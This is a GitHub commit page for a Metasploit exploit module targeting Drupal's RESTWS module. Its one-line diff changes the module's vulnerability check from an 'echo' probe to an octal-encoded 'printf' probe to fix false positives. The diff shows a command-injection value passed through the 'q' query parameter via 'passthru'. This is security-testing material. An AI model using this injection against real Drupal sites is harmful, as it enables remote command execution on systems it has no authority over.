Skip to content

Commit c6b309d

Browse files
committed
Fix drupal_restws_exec check method false positive
1 parent 8bd6db8 commit c6b309d

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/unix/webapp/drupal_restws_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,7 @@ def check
5959
'method' => 'GET',
6060
'uri' => normalize_uri(target_uri.path, 'index.php'),
6161
'vars_get' => {
62-
'q' => "taxonomy_vocabulary//passthru/echo #{r}"
62+
'q' => "taxonomy_vocabulary//passthru/printf #{Rex::Text.to_octal(r, '\\\\')}"
6363
}
6464
)
6565
if res && res.body.include?(r)

0 commit comments

Comments
 (0)